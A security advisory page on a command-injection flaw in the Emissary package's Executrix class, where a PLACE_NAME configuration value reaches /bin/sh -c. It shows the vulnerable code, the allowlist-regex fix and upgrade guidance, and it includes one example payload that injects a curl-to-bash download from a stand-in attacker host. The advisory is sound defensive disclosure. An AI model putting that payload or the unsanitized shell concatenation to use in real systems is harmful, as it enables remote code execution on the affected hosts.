Loading advisory.
Loading advisory.
Emissary has a Command Injection via PLACE_NAME Configuration in Executrix
The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization.
Published 2026-04-07 15:56 UTC · Modified 2026-11-04 22:15 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| gov.nsa.emissary:emissary | Maven | < 8.39.0 versions 8.0.0, 8.1.0, 8.10.0, 8.11.0, 8.11.1, 8.12.0, 8.13.0, 8.14.0, 8.15.0, 8.16.0, 8.17.0, 8.18.0, 8.19.0, 8.19.1, 8.2.0, 8.20.0, 8.21.0, 8.22.0, 8.23.0, 8.24.0 and 22 more | 8.39.0 | No single command for Maven. Update to 8.39.0 in your build file. |
The Executrix utility class constructed shell commands by concatenating
configuration-derived values — including the PLACE_NAME parameter — with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (;, |, $, `, (, ), etc.) to pass through
into /bin/sh -c command execution.
Executrix.javaInsufficient sanitization (line 132):
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass throughShell sink (line 1052–1058):
protected String[] getTimedCommand(final String c) {
return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}PLACE_NAME is read from a configuration file
Executrix applies only a space-to-underscore replacement
The placeName is used to construct temporary directory paths (tmpNames[DIR])
tmpNames[DIR] is concatenated into a shell command string
The command is executed via /bin/sh -c
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"After the original sanitization: test;curl_attacker.com/shell.sh|bash;x
(semicolons, pipes, and other metacharacters preserved)
Arbitrary command execution on the Emissary host
Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)
Fixed in PR #1290, merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all
characters not matching [a-zA-Z0-9_-]:
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}This ensures that any shell metacharacter in the PLACE_NAME configuration
value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
If upgrading is not immediately possible, ensure that PLACE_NAME values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.
Original report: GHSA-wjqm-p579-x3ww
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.006 on 2026-11-24 to 0.010 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.006 | first score | v2026.06.15 |
| 2026-11-26 | 0.010 | 0.006 | v2026.06.15 |